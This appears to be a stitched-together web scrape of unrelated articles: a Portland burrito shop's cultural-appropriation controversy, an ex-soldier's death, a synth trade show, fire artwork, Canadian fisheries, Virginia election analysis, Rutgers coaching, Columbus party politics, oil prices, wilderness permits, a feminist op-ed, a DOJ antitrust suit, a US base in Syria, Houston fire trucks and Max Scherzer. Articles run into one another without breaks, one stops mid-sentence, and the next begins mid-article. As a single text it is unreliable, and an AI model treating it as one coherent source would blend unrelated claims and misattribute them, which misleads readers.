Kali Wilgus and Liz “LC” Connelly, the two white women who started Kooks earlier this year, have been accused of stealing their techniques from the “tortilla ladies” of Puerto Nuevo, Mexico — because Connelly told Willamette Week that they gathered their recipes and tortilla-making processes during a holiday road-trip to the Baja California village.
“I picked the brains of every tortilla lady there in the worst broken Spanish ever, and they showed me a little of what they did,” she told the site. “They told us the basic ingredients, and we saw them moving and stretching the dough similar to how pizza makers do before rolling it out with rolling pins.”
In the profile, which first ran May 16, Connelly also claimed that, when the Mexican cooks wouldn’t give up their trade secrets, she and Wilgus “were peeking into the windows of every kitchen, totally fascinated by how easy they made it look.”
Connelly then said she used a trial-and-error process to recreate a tortilla with the same flavor and texture after returning to Portland. She and Wilgus then opened their weekend pop-up inside a taco truck on SE Cesar Estrada Chavez Boulevard, and began serving their Mexican-style tortillas filled with California-inspired ingredients.
Though the eatery had been open for several months, the owners of Kooks were only recently accused of cultural appropriation by The Portland Mercury and Mic.com based on Connelly’s revelations.
“Because of Portland’s underlying racism, the people who rightly own these traditions and cultures that exist are already treated poorly,” The Portland Mercury said, calling the closure of Kooks a “victory.”
The article continues, “These appropriating businesses are erasing and exploiting their already marginalized identities for the purpose of profit and praise.”
Social media, too, has erupted into a renewed debate over whether cooks from certain ethnic groups can or should open restaurants that “culturally appropriate” other styles of cuisine.
As Eater points out, the shop’s online presence has all but disappeared (the shop’s Facebook, Instagram and official website have been stripped of any content). Its Yelp page, however, remains online, under an “Active Cleanup Alert” intended to remove comments about its recent media attention, rather than its food or service. Despite the alert, arguments for and against Kooks have continued to pop up in the reviews.
“I love Portland, but I don’t love people who steal recipes and cooking methods without compensating for them,” wrote Bahram A. in his one-star review. “Shame. If I were this business, I’d start donating a portion of the profit to the business you stole from so they could be able to afford curtains.”
On the other hand, a Yelper named Joseph F., who had never eaten at Kooks, gave the establishment five stars in order to make up for all the negative reviews. “According to other reviewers, I can only cook, eat, and talk about Italian food, otherwise it’s cultural appropriation,” he wrote. “America is an amalgamation of people and cultures. There are plenty of atrocities happening around the world, but someone making burritos is not one of them.”
It’s unclear if Connelly or Wilgus have any plans to reopen Kooks in the near future, but as of now, Willamette Week reports that their burrito shop remains closed.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
April 15, 2014, 4:34 PM GMT
A former U.S. soldier who was later charged by the FBI with fighting for an al Qaeda-linked group in Syria has died, his family said in a statement Tuesday.
Eric Harroun of Phoenix, Ariz. died of an accidental overdose on April 8 his sister Sarah said on his Facebook page. He would have turned 32 in June.
“We won’t know more information for 60-90 days,” she wrote. “That’s how long the toxicology reports take.”
Harroun, an American citizen, served with the U.S. Army from 2000 to 2003 but was medically discharged after being injured in a car accident.
He later gained international attention when he posted YouTube videos of himself fighting alongside Syrian rebels, battling forces loyal to the country’s president Bashar Assad.
He entered Syria in 2011, according to an in interview with Vice magazine, after flying to Egypt where he took part in the Tahrir Square demonstrations that toppled the country’s then president, Hosni Mubarak.
Arrested on his return to the U.S. in March 2013, he was later charged with fighting for the al Qaeda-linked al-Nusrah Front during his time in Syria and using a rocket propelled grenade, according to criminal complaint issued by the U.S. Attorney’s Office in the Eastern District of Virginia. He faced life imprisonment if found guilty.
However, under a sealed plea agreement Harroun eventually pleaded guilty to a law regulating munitions exports and was sentenced to time served.
His funeral will be held Friday in Scottsdale, Ariz.
-Henry AustinBuying Choices
Access Music, the company behind the Virus synthesizers has been in touch to tell us that they will participate in Berlin's first Superbooth keyboard exhibition from March 31st – April 2nd 2016. Here's their press release with the details...
Superbooth positions itself as a young and trendsetting alternative to existing European music tradeshows. Taking place in the heart of Berlin, one of Europe's electronic music epicenters, Superbooth combines an exhibition, lectures and live performances into a new format especially appealing for young electronic musicians.
Superbooth takes place at the FUNKHAUS BERLIN, a technological treasure, a sleeping beauty. Previously it was Eastern Germany's state broadcast centre. The recent sale of the landmarked complex has made it possible to find a new and responsible use for the premises and its facilities.
In Room BS148 Vistors can experience first hand why the acclaimed Virus Synthesizer is considered a modern classic! The Virus Darkstar, the very sought after special color edition of the Virus is now available again!
More information:
More From: ACCESS
Please enable JavaScript to view the comments powered by Disqus.Truly, human civilization cannot be built up without the fire. Since the control of the fire by early humans, it has been with us for around 125,000 years, witnessing the rise and the fall of human civilizations. Unlike calm water with inner beauty, bright fire has garnered lots of attention, thus inspired many great human artists to create art about it, the art of fire.
Until the digital era, there are still artists who never ceased to create more and more inspiring and indeed, very hot digital artworks to impress the audience, thus born this post which will showcase you 30 fiery digital artworks which greatly utilizes the fire element to let the entire artwork shines very, very brightly.
So take your time to enjoy them, and let your eyes and mind ignited by these furious and impressive artworks!
Be On Fire. First up is a really dark and cool fire photo manipulation done by Sed-rah. I love the entire composition as the fire really makes the dancer looks more lively and of course, more epic. (Image Source: Sed-rah)
Bulb. No enough brightness? How about a burning light bulb for you? I must say the fire is seriously awesome. (Image Source: Vlademareous)
Burning. A great work that demonstrates how powerful and terrible fire can be. There’s also a tutorial available for you to create the similar effect. (Image Source: Francesco Mugnai)
Center. A creative way to express the fire in art, beautifully done. (Image Source: sadeq khanchi)
Corrida In Flames. Seriously hot and cool at the same time! Might be a perfect advertisement for Red Bull! (Image Source: Adomas Jazdauskas)
Death’s Head. “Visually, I wanted to create a jack-o-lantern effect with the skull. Instead of the skull burning up and around itself, I wanted it to burn from the inside out. It took a lot of experimenting to emulate the glowing ember effect but I’m very pleased of the way it turned out.” (Image Source: Kiren Bagchee)
Fiery Cocktail. “Shot, retouch and photo-manipulation. Illustration done for advertising cocktail on a bar in night clubs.” (Image Source: Platon Ivantsov)
Fiery Flower. It looks like vector flower on fire, but I must say it looks hot, and beautiful. (Image Source: Mi9)
Fiery Flower. Here comes an even hotter flower! Love the flower part, and smoke did really good job in bringing up the feeling of heat. (Image Source: Mi9)
Fiery Flower. Flower from hell! But how come it can be so beautiful? (Image Source: Mi9)
Fiery Girl. Girl is hot, especially when she’s on fire. (Image Source: Mi9)
Fiery Guitar. I believe every passionate guitarist will like to have this burning guitar, anyway the fire is very well processed that it looks like the real one. (Image Source: Mi9)
Fiery Jazz. Hot and funky, it talks about jazz. (Image Source: Mi9)
Fiery Horse. A fiery and spiritful horse. Surprisingly that instead of tiger or lion, horse is more commonly the subject of fire art, maybe it’s related with the word, “horsepower”. (Image Source: Mi9)
Fiery Love. We know love is hot, but can we maintain its heat forever? A glamorous piece by the way. (Image Source: Mi9)
Fiery Music Symbol. Music is only beautiful when there’s fiery passion inside it. (Image Source: Mi9)
Fiery Symbol. Probably the hottest and coolest Euro sign I’ve ever seen. There’s also an At sign (@) version available here, and for sure it’s very hot too! (Image Source: Mi9)
Fire Dancer. Was stunned by the creativity of this piece, dance with fire, all I can say is great and inspiring one. (Image Source: tomer666)
Fire Heart. Love is fire, that’s really true. You can view the money sign with similar effect in its Behance page. (Image Source: Oleg Osharov)
Fire Horse. Yet another fire horse but with a more fantasy, and somehow cute appearance. (Image Source: salhi)
Fire Princess. It’s really hard to achieve the effect that the fire burns around the cloth, but whiteyellow did it perfectly. (Image Source: whiteyellow)
Fire Style. Raging fire expressing the Chinese word, Fire. Also get on its Behance page to view the Water, Wind and Earth version. (Image Source: Vigan Tafili)
From The Fire. A blazing phoenix done by Supagray, you will not believe this great work is created by these boring sources. (Image Source: Worth1000)
Hellacious Flaming Skull. Hellacious flaming skull with vengeance expression. You can actually learn to create it through the tutorial! (Image Source: PSDTuts)
Keep On Fire. Mythical masterpiece done with great detail and colors, burning tree has something to do with supernatural occurrence in Christian studies. (Image Source: RDN)
Liberty. “Liberty, of course, for some, inaccessible to others. Blessed is, he who can keep them up to his death in the spirit.” (Image Source: Drezdany)
Ouroboro. “The ancient symbol Ouroboro, a snake eating its own tail. A symbol of eternity, the eternal return.” (Image Source: Pedro Chamusca)
Reach The Limits. Beautiful nebula and glaring flares, I will say the same with other commentators in Behance: great composition. (Image Source: Xavier Bourdil)
Sorrowfire. “The last long exhale of an elemental, willingly giving himself to mortality by leaping into the ocean and thus submerging his body in his only fatal foe. Heartbreak can suddenly turn immortality into a fate worse than death.” (Image Source: xxPassion)
Volcano. What if volcano is a human? This furious work will help you imagine about it. Deadly feral and cool. (Image Source: Didier13)
Reflection
There’s no doubt about it, I do really feel the heat when I’m doing this showcase post (maybe it’s because I’m looking hundreds of them at once)! They’re so real and most importantly, detailed, making me really admired the fiery passion that artist put into creating the work. Two thumbs up for artists, your skill is really hot!
Witnessed some great fire digital artworks with the spark of inspiration? Do share with us to fuel up each other’s creativity! :)Like other areas off Canada's east coast, the Scotian Shelf suffered a collapse of its fisheries during the 1990s. Haddock and cod were caught in an unsustainable fashion, eventually leading to a tremendous decline in their numbers that prompted the government to shut the fisheries. Despite this drastic action, stocks of fish like cod and haddock have remained low for years, raising the prospect that these ecosystems had shifted into an entirely new structure, one in which the former top predators would only occupy a tiny niche. Now, however, researchers are reporting the first signs that this alternate structure itself may be collapsing, raising the prospect that the Scotia Shelf may be on the verge of returning to its former self.
Although the Scotia Shelf was closed to commercial fishing, researchers were able to undertake annual surveys of the ecosystem's health using a standard bottom trawl, a practice that had started well in advance of the fish |
the Affordable Care Act is going to improve or that, even if it does, the law will become more popular. Plus, McAuliffe was saved by two factors that Democrats won’t necessarily be able to repeat elsewhere in 2014: a monumental cash advantage and a local electorate deeply affected by a federal government shutdown.
So the lesson of Virginia is obvious: What the Democrats really need is another Ted Cruz-led crisis.
First-wave analysis of the closer-than-expected Virginia result accepted the explanation -- rising distaste for Obamacare -- put forward by the losing Republican, Ken Cuccinelli. And it is true that candidate McAuliffe took no chances when it came to the controversial, complex program. He mentioned it only obliquely, focusing just on the expansion of Medicaid the law makes possible. Neither President Barack Obama nor Vice President Joe Biden mentioned it at all when they campaigned in Virginia in the final hours.
But a close look at Tuesday's exit polls in Virginia, as well as those in New Jersey, show that the health care issue was essentially a wash.
Voters in both states were significantly split on the question of whether they supported or opposed the law. In Virginia, it was 46 percent for to 53 percent against; in New Jersey it was 48 percent for to 50 percent against.
Virginia voters who named health care as their number one concern leaned somewhat for the Republican candidate -- 49 percent voted for Cuccinelli and 45 percent voted for McAuliffe. But 11 percent of those who said they oppose the law still voted for the Democrat.
McAuliffe, one of the leading fundraisers and bundlers in the modern history of the Democratic Party, was helped in part by an almost 2-1 cash advantage that translated to bigger ad buys across the state and allowed him to carpet-bomb the Washington media market.
Those focused TV attacks on Cuccinelli’s ultra-conservative positions on abortion, gay rights and science left the Democrat, by default, as the “moderate” in the race. Among the 44 percent of Virginia voters who called themselves moderates, McAuliffe won decisively, 56 percent to 34 percent. (Republican Gov. Chris Christie in New Jersey won moderates by a 61-37 percent margin.)
But the biggest factor in Virginia was the government shutdown in October, engineered by Republican Sen. Ted Cruz of Texas. All of Virginia -- not just the D.C. suburbs -- is heavily dependent on federal spending, both in terms of direct employment and government contractors for everything from the military to medical research.
One-third of voters in Virginia said that someone in their household had been “affected” by the shutdown. And those voters -- more than 700,000 of them -- went for McAuliffe over Cuccinelli by a margin of 56 to 37 percent.
That’s McAuliffe’s victory right there.
Obamacare isn’t popular, and it has flaws and drawbacks that Cruz, among others, wants to highlight and exploit. But shutting down the government to make that point ended up costing the Republicans Virginia.CLOSE Jerry Carino tells you what you need to know about the firing of Eddie Jordan at Rutgers. iPhone video by Steve Feitl
Sources said the Rhode Island coach came close to taking it; Mike Lonergan leads the list of remaining candidates.
Rhode Island head coach Dan Hurley (Photo: Kathy Willens, AP)
Pat Hobbs missed on his top target to fill the Rutgers basketball coaching vacancy, but it was not for lack of effort.
Dan Hurley agonized over the decision for 48 hours before deciding to remain at Rhode Island, where he has a potential Top 25 team in place next season, according to multiple sources familiar with Hurley’s thinking.
By all accounts, the 43-year-old Hurley came much closer to taking the job than he did three years ago, when Rutgers had no athletics director and he rebuffed the advances of Carl Kirschner, the academic dean in charge of the search.
RELATED: A short list of candidates
Hurley was impressed by Hobbs’ personality and acumen, plus his willingness to commit six years, upwards of $1.5 million per year and guarantees on facility improvements, the sources said.
They said Rutgers’ first-year athletics director displayed deep-level knowledge of the sport and a grasp of the steps needed to make Rutgers competitive after 10 straight years of losing records and a 7-25 debacle this past season.
Buy Photo Pat Hobbs (right) impressed Hurley but could not land him. (Photo: File photo)
However, the promise of Hurley’s prospects at Rhode Island and his commitment to those players, compared to the depth of the rebuild and historical difficulties at Rutgers, swayed the former Scarlet Knights assistant to stay put.
Wednesday’s development marks the latest in a long line of misses over the years by Rutgers, most notably Jay Wright and John Beilein during the 2001 search that yielded Gary Waters. Wright and Beilein went on to take other schools to the Final Four.
RELATED: Barchi's track record a challenge
But Hobbs has shown an ability to bounce back before. While leading Seton Hall’s search in 2010 he hired Kevin Willard after his original target of interest, Fran McCaffery, took the Iowa post. Willard just guided the Pirates to the Big East Tournament title.
The natural question becomes, who is next?
George Washington’s Mike Lonergan has interviewed and is a prime candidate. The 50-year-old’s resume is actually better than Hurley’s: He won a Division III national title at Catholic University of America and then guided Vermont and George Washington to NCAA Tournament berths.
Mike Lonergan of George Washington (Photo: USA Today)
Lonergan’s career record is 468-225 (.675), and he has spent much of his career recruiting the talent-rich Baltimore-D.C. corridor. This season the Colonials are 23-9 and face Monmouth in the second round of the NIT Monday.
Keep an eye on Steve Pikiell. Stony Brook’s coach built a transitional Division I program into a mid-major stronghold, winning 22-plus games in each of the past five seasons. This year’s team is 25-6 and playing in the NCAA Tournament for the first time. The Seawolves face Kentucky Thursday.
Pikiell came up through a powerhouse program as a player and assistant coach under Jim Calhoun at Connecticut. He also recruited and developed an All-America candidate in senior forward Jameel Warney of Plainfield.
Two other names to watch are Iona’s Tim Cluess and Manhattan’s Steve Masiello, both of whom have achieved high levels of success in the Metro Atlantic Athletic Conference.
Cluess has guided the Gaels to three NCAA Tournament berths; they take on Iowa State in the first round Friday. Hobbs knows Iona inside-out, having hired Willard away from the school. His successor as AD at Seton Hall, Pat Lyons, also came from Iona.
Masiello is a dogged recruited whose squads have appeared in the Big Dance twice. He came up through the ranks as an assistant at Louisville, the same route Willard took. Hobbs has a good relationship with Louisville coach Rick Pitino.
It's also possible Hobbs could go the assistant route, as he did when hiring football coach Chris Ash from Ohio State. Kentucky's Kenny Paine would fit that mold, coming from a national power. More locally, Seton Hall associate head coach Shaheen Holloway is a rising star who already has a good relationship with Hobbs.
Staff writer Jerry Carino: jcarino@gannettnj.comA conflict within the Franklin County Democratic Party that was stoked during last year's Columbus mayoral campaign has erupted into all-out war for control of the party. Several groups want to wrestle away seats on the party's central committee in a bid to weaken the party's most powerful players.
A conflict within the Franklin County Democratic Party that was stoked during last year�s Columbus mayoral campaign has erupted into all-out war for control of the party.
Several groups want to wrestle away seats on the party�s central committee in a bid to weaken the party�s most powerful players. About 80 percent of the central committee could change during the takeover attempt, and several seats already are certain to change hands because only one candidate filed to run in the race. Democrats will vote for the central committee on their primary ballot March 15.
Any large-scale change in the party could tilt its most powerful tool: a sample ballot of endorsed candidates.
�If they think they�re going to change the face of the party by changing who we select and who we endorse, that�s a big bite to chew off,� said William A. Anthony Jr., party chairman. �I wish I could say it�s that simple. I�m not even sure if it�s just that simple.�
The roots of the conflict started years ago, but it spilled over into a public fight during last year�s mayoral campaign between Andrew J. Ginther, who was then the president of the Columbus City Council, and Sheriff Zach Scott. Ginther trounced Scott in the primary and the general election.
However, the campaign revealed a split. The party and its most powerful leaders supported Ginther. Another group that includes Commissioner Paula Brooks, Recorder Terry �TJ� Brown, and fundraiser Melissa Barnhart, who is also Brown's chief of staff, backed Scott.
Scott, Brooks and Brown all are running for re-election this year, and last week the party endorsed their primary challengers. Brown said in a statement that they weren�t endorsed because they refused to toe the party line and �bow down to party bosses.�
Barnhart said she recruited candidates �who couldn�t be intimidated� to run for central committee seats because of last year�s campaign.
Party leaders bully others and exercise �absolute control over elected officials,� she said, and many of the party�s rank-and-file are controlled because they hold local government jobs.
Barnhart was part of a similar effort in the state party in 2012, when she and others tried to unseat the state party�s then-chairman Chris Redfern.
She�s running for her own seat on the central committee against Mark Dempsey, a restaurant owner and longtime Democrat. The central committee fight takes the party�s focus off getting Democrats elected, he said.
"My friend Melissa has become a cancer in the local Democratic party," Dempsey said. �This is the last thing the Democratic Party needs.�
The county party�s central committee has 157 seats, and 43 are vacant. Incumbents are running for another 54 of those seats, and 33 of those will have an opponent.
A total of 235 candidates, including incumbents, are running for the 157 ward seats. About 125 of them are part of Barnhart's slate.
Anthony, the party chairman, said the party has been doing its job to get Democrats elected and that he doesn't know why others want to take control of the party.
�One of my good Democrat friends told me that if Democrats start winning everything they start fighting among themselves,� Anthony said. �We�ve been pretty successful in Franklin County and the city of Columbus... The only battle is to try to control the party and control who we select.�
Party members say they haven't seen this kind of conflict since the 1980�s, when an uprising wanted to remove the chairman. At that time, though, Republicans had a greater hold in the county and swept countywide races in the 1984 election.
�I think it�s healthy to have two parts of the party,� said Fran Ryan, a former party chairwoman. �The leadership has been great, so why would we want to change?�
Several of those running for central committee seats said party leaders try to silence dissent. They pointed to last week's endorsement meeting, where a large group of dissenters showed up but were told they couldn't speak. Brooks compared silencing those at the meeting to Russia or China.
�I think a Democratic party includes all voices,� said Jonathan Beard, who is running for a central committee seat. �The Democratic party used to be the big tent party and I don�t see that locally now.�
Another group calling itself Yes We Can Columbus has 17 candidates for central committee seats on the ballot, said Will Petrik, who is leading that group. He said the group wants the party to focus again on large principles, but also push for a higher minimum wage, city council wards and campaign contribution limits.
�We want to try to shift the culture of the party," he said. "For us that means, how do we make the party stand for freedom, stand for democracy, stand for mass participation.�
rrouan@dispatch.com
@RickRouanWas your game performance better or worse after Update 18? Especially in group content such as any 6-man instances, did you notice any difference in performance? If you play on another server along with Arkenstone or Evernight, was the performance better or worse on that server after Update 18 compared to Arkenstone or Evernight?
With Update 18 yesterday we made some changed to only Arkenstone and Evernight in our continued efforts to improve server performance. Now that these changes have been made, we need player feedback to tell us what if any difference there was from before Update 18 to after on only these two worlds. As we continue to work to make the game run smoother we will continue to depend on player feedback and thank all of you for your continued help.Here is the information we are looking for from players on Arkenstone and Evernight:Thanks you again to everyone who is able to help as we continue to work on making improvements to the game.NEW YORK (Reuters) - Oil prices fell more than 1.5 percent on Thursday, as a bruising day on Wall Street bolstered fears of slowing demand amid lingering concerns over a global oversupply of crude.
A pump jack is seen at sunrise near Bakersfield, California October 14, 2014. REUTERS/Lucy Nicholson/File Photo
U.S. West Texas Intermediate crude CLc1 settled down 97 cents or 1.96 percent to $48.59 a barrel. Brent crude futures LCOc1 were down 80 cents or 1.52 percent to $51.90 a barrel.
U.S. stock indexes fell sharply on Thursday, with the Dow and the Nasdaq posting triple-digit point declines, as investors fretted over escalating tensions between the U.S. and North Korea.
The falling U.S. stock market translated to weakness in the oil market, said Phil Flynn, analyst at Price Futures Group in Chicago.
“That raised concerns about demand,” he said, “The demand picture gets murky as stocks go down. Gold has stayed up so that confirms my suspicions it’s a fear trade.”
On the supply side, Russian oil producer Gazprom Neft (SIBN.MM) considers it “economically feasible” to resume production in mature fields after a global agreement among OPEC and non-OPEC countries expires, a representative of the company said.
And while the Organization of the Petroleum Exporting Countries raised its outlook for oil demand in 2018 and cut its forecasts for output from rivals next year, yet another increase in the group’s production suggested the market will remain in surplus despite efforts to limit supply. [nL5N1KW3S0]
OPEC said its oil output rose by 173,000 bpd in July to 32.87 million bpd, led by the exempt producers plus top exporter Saudi Arabia, citing figures it collects from secondary sources.
Crude prices are down nearly 7 percent so far this year, pressured by concern that output cuts by OPEC and its partners may not eliminate the global crude glut.
“$50 seems to be a formidable foe for the crude bulls,” said Flynn.
Global crude stocks remain above their longer-term averages and with the U.S. summer driving season nearly at an end, Wednesday EIA data showed gasoline inventories rose for the first time in eight weeks.
EIA data also showed inventories in the United States are at their lowest since October, having fallen for 10 of the last 12 weeks.
While prices rose on Wednesday after the lower U.S. inventory numbers, Gene McGillian, manager of market research at Tradition Energy in Stamford, Connecticut said that information was not enough to sustain a rally.
“It seems like the market wants to go higher,” he said, “The market is searching for it, the question is will it get it.”The Conundrum Hot Springs near Aspen offer a rewarding view, but you'll need to walk 8.5 miles uphill to get there. (Photo: Courtesy Flickr User Wanderstruck/Creative Commons)
A draft decision on whether to begin an overnight camping permit system in select areas of the Maroon Bells-Snowmass Wilderness could come as soon as the middle of May, the U.S. Forest says. A final decision either way could come in July.
The draft decision will be based on public reaction to an environmental assessment now open to public comment. There will be forums April 5 at the Rocky Mountain Institute in Basalt and April 6 at the Gunnison Community Center in Gunnison. The Forest Service has posted more details here, including how to comment electronically or by mail.
The question of whether to move to a permit system has grown out of concern that an increasing number of people who go to the wilderness area could end up degrading it at the same time.
If a camping permit system were to be approved, the soonest it might take effect would be 2018, and it would first be tried at Conundrum Hot Springs near Aspen, at the head of a valley one ridge over from Maroon Lake and the Maroon Bells mountains. The springs, at timberline and accessible via an all-day hike, are a popular destination, and both the springs and the parking area at the trailhead can become seriously overcrowded.
It's part of a trend. The Forest Service says overnight visits at the 10 most popular trails within the Maroon Bells-Snowmass Wilderness has increased 115 percent since 2007. Public meetings were held in 2016 on how best to cope with overcrowding in the wilderness area.
The new draft assessment grew out what Forest Service officials heard at those public meetings.
Editor's note: The story has been updated to clarify that a final decision on camping in the Maroon Bells-Snowmass Wilderness has not been reached, and that Conundrum Hot Springs is not a designated Forest Service campground.3.8k SHARES Share Tweet
Last week, two new series were released which, at first sight, seem to tell very different stories about women.
Netflix’s Hot Girls Wanted: Turned On (HGWTO), produced by the same team as the 2015 documentary Hot Girls Wanted, was described by many media critics as taking a more nuanced approach to the porn industry than the earlier documentary, by showing how women can be empowered by both making and performing in porn.
Hulu’s The Handmaid’s Tale, on the other hand, is a terrifying “fictional” account of a patriarchal dystopia, where women cannot hold jobs or own property, and serve as either breeders, cleaners and cooks, or trophy wives. Those who resist are exiled to toxic waste dumps or worse. Atwood has asserted many times that her book, on which the series is based, is not really fiction — she drew inspiration from accounts of how women are actually treated around the world.
So while HGWTO purports to show how we can beat men at their own game, The Handmaid’s Tale portrays how men beat women into submission. The contrast seems stark.
But in reality, both shows have a common underlying theme: that women’s true role is to be fucked. In HGWTO women are fucked to make money; in The Handmaid’s Tale women are fucked to make babies. Both narratives convey a form of biological determinism; that women are subordinate sexual vessels whose primary purpose is to serve the needs of men. And in both shows, it is women who, in the name of sisterhood, do the dirty work of men by playing the role of taskmasters to control the lives of other women.
The first episode of HGWTO featured “feminist pornographer” Erika Lust waxing lyrical about how women need to own their own sexuality by becoming pornographers. The tale told here by Lust is that when women get behind the camera, they can make artistic “erotic” movies that speak to women’s sexual fantasies, instead of mainstream porn’s focus on men pounding away at women’s orifices. This episode was carefully crafted to tell a story of women’s liberation from patriarchal oppression via empowered porn sex. But this narrative unraveled very quickly when we saw what Lust actually meant by “feminist porn.”
Lust’s rather bizarre idea of a compelling “erotic” movie for women was to portray a woman pianist living out her fantasy of playing the piano naked while being “pleasured.” So Lust finds Monica, a woman who is both a pianist and willing to play out this fantasy, concocted by Lust. The problem is that Monica is new to porn and lacks any experience, while Lust hires a mainstream male porn performer, resulting in the usual degrading porn sex — pounding penetration and hair pulling included. Monica finishes the scene in obvious pain and traumatized, looking like a deer caught in the headlights of an oncoming truck. But remember, this is a “feminist” porn film, so Lust, acting all sisterly, gives Monica a big hug and a glass of water to make her feel better. And then asks her to fake an orgasm for the final scene. So much for authentic female sexuality!
It was stomach churning to watch Lust manipulate and cajole Monica into making this film, and lying through her teeth as she explained that she is doing something different from the boys. Despite all the talk about aesthetic value and women’s sexuality, HGWTO is just a clever piece of ideological propaganda. Lust, just like the boys, is making money from sexually exploiting women; unlike the boys, she wraps herself in a feminist flag as a way to differentiate her brand in a glutted market. In Lust’s world, sisterhood is powerful because it provides cover to pimp out women in the name of feminism.
Lust’s duplicity would fit perfectly into the Republic of Gilead, the fictional country in The Handmaid’s Tale. The Handmaids are sent to a kind of patriarchal boot camp run by “Aunts,” who do the dirty work for the men. The Aunts manipulate and cajole the Handmaids into believing that they are on their side, by training them to fulfill their god-given roles of producing babies. Of course, should a Handmaid step out of line, there is always a handy cattle-prod nearby that the Aunts use to shock the Handmaids into submission. And when the Handmaid fulfills the duty of reproducing, then there is a sisterly hug from the Aunt.
Watching both shows brought to mind what Mary Daly called the sado-ritual syndrome of patriarchy,” where atrocities against women are ritualized as a way to render women’s humanity — and suffering — invisible. One key element of the ritual is an “obsession with purity.” In porn and the Handmaid’s Tale, the women are “ceremoniously bathed” albeit in different ways. Monica’s “bathing” takes the form of being plucked, shaved, and worked on by makeup artists and hairdressers who collectively turn her into a generic looking hypersexualized porn performer, thus erasing her identity and individuality. The Handmaids, on the other hand, have to cleanse themselves in a bath and then put on a ritualized garment for the “ceremony,” an Orwellian term for being raped by her master.
Another key element in this ritualization is the use of women as “token torturers,” which, Daly argues, both exonerates the men and turns women against each other. Lust and other “feminist pornographers” talk as if they are producing erotica for women when, in actuality, the porn movies they produce serve the male gaze and male sexual pleasure. Similarly, the Aunts with their cattle-prods are the front line enforcers, but in the background are a bevy of machine-gun toting men chomping at the bit to kill a woman should she step out of line.
In one telling scene in The Handmaid’s Tale, the narrator tells us that she can’t trust anyone, including other Handmaids, because they could be agents of the state. As feminism becomes increasingly watered-down by a neoliberal ideology that rebrands the sex industry as female sexual empowerment, we have to ask: Has our movement been colonized and hijacked to the point that it is now the Handmaiden of patriarchy?
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Gail Dines Contributor Gail Dines is a professor of Sociology and Women’s Studies at Wheelock College and author of Pornland: How Porn Has Hijacked Our Sexuality. She is founder and President of Culture Reframed.The DOJ filed suit in U.S. District Court for the Central District of California and alleges that the four companies essentially gave each other a heads up as to their individual progress in negotiating with SportsNet LA and whether they'd actually carry the channel should they be successful. Doing so, the DOJ argues, allowed the companies to not only gain unfair bargaining leverage but also minimize their subscriber losses should only one company be successful.
What's more, the DOJ is saying that the reason that none of these companies have yet to carry SportsNet LA is a direct result of their collusion and in doing so, they've prevented a large swath of fans from watching the games over the past three seasons. "As the complaint explains," Deputy Assistant Attorney General Jonathan Sallet of the Justice Department's Antitrust Division stated. "Dodgers fans were denied a fair competitive process when DIRECTV orchestrated a series of information exchanges with direct competitors that ultimately made consumers less likely to be able to watch their hometown team."
Update: AT&T released the following comment to Engadget: "We respect the DOJ's important role in protecting consumers, but in this case, which occurred before AT&T's acquisition of DIRECTV, we see the facts differently. The reason why no other major TV provider chose to carry this content was that no one wanted to force all of their customers to pay the inflated prices that Time Warner Cable was demanding for a channel devoted solely to LA Dodgers baseball. We make our carriage decisions independently, legally and only after thorough negotiations with the content owner. We look forward to presenting these facts in court."HASAKAH — The United States has established a new military base in Syrian Kurdistan, commonly known as Rojava, to step up its support for local forces in their battle against the Islamic State (IS).
A source from the Syrian Democratic Forces (SDF), speaking on condition of anonymity, told BasNews on Saturday that a large group of well-equipped US Special Forces have recently arrived at the Tel Bidr base, northwest of Hasakah.
He further revealed that the arrival of the new forces comes after the local Syrian Kurdish fighters started evacuating the Tel Bidr base and moving all their military equipment out of the site.
A total number of 800 US Special Forces and military trainers are now settled in the base, the source said, adding that their arrival is part of the US-led coalition’s plan to raid the IS-held Deir al-Zour.
“They will also provide support to the SDF forces now advancing towards Raqqa.”
As part of the global coalition campaign to degrade and defeat IS in Syria, US previously set up military bases across Rojava, including Kobani, Ain Isa, Rmeilan and Reif Hasakah.HOUSTON - The Houston Fire Department’s fire truck fleet is “reaching a critical state,” according to the fire chief.
“It's already affecting our availability. It's already affecting our response times,” Chief Sam Pena said.
Channel 2 Investigates found cases of aging fire trucks breaking down on the way to emergencies, and in one case, catching fire at a fire station.
Across the entire fleet, fire trucks marked active in pumpers, boosters, ladders and towers categories have an average age of 8.7 years.
But the oldest third of the Houston Fire Department’s active fire trucks, including pumpers, boosters, ladders and tower trucks, average 14.1 years old, according to data provided by the Houston Fire Department.
Maintenance costs on the 56 trucks average $14,206 per year.
Channel 2 Investigates found 14 of the fire trucks have ever-growing lifetime maintenance costs that have already exceeded their original purchase prices.
“We're talking about apparatus, that by any standard in public safety, would have been discarded years ago,” Patrick Lancton, president of the Houston Professional Firefighters Association, said.
Pena said he believes the average useful life of an "engine" type truck to be about 12 years, but the city of Houston has pegged useful service life at roughly 15 years.
Mayor Sylvester Turner and Houston City Council determine how many fire trucks to buy each year, with recommendations from the fire chief.
This year the city of Houston has allocated money for seven trucks, including four engines and three ladder/tower trucks.
The Houston Fire Department had asked for eight engines and three ladders.
“Engine” type fire trucks cost upward of $500,000. “Ladder” type trucks cost upward of $860,000.
“It's important not just to talk about the problems but the solutions," Turner told Channel 2 Investigates. "We all recognize we have an aging fleet, which in time could affect public safety, but these things just do not come without a cost."
The mayor said that increasingly expensive maintenance costs for older truck, presently, are still cheaper than buying new trucks.
“What's the cost going to be when people lose their lives? That's what I want to know,” Lancton said.
Ambulances
Channel 2 Investigates also examined the state of the Houston Fire Department’s ambulance fleet. An ambulance chassis and a “patient transport box” are purchased separately. A “box” typically outlives a chassis.
The expected useful life of a “box” is 10 years, according to the city, but the average age of the “box” fleet is 13.4 years, according to data provided by the City of Houston. The ambulance chassis fleet average is 6.3 years. Estimated life span of a chassis is three years.
Across the Houston Fire Department’s ambulance fleet, the city has spent $9.7 million while maintenance costs have exceeded $13.4 million.
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Copyright 2017 by KPRC Click2Houston - All rights reserved.Over the winter, Max Scherzer turned down an offer from the Tigers that would have paid him $144 million over six years, and instead, decided to play out his final season in Detroit and then see kind of offers he will get as a free agent. Given pitcher attrition rates, Scherzer was certainly taking on a significant risk to pass up that kind of contract. Jeff Zimmerman’s research pegged Scherzer as having a 31% chance of landing on the disabled list at some point in 2014, and a significant injury likely would have forced Scherzer to forego pursuing any kind of long-term deal this winter. By turning down the offer, Scherzer appeared to have made a big bet on himself and his future health.
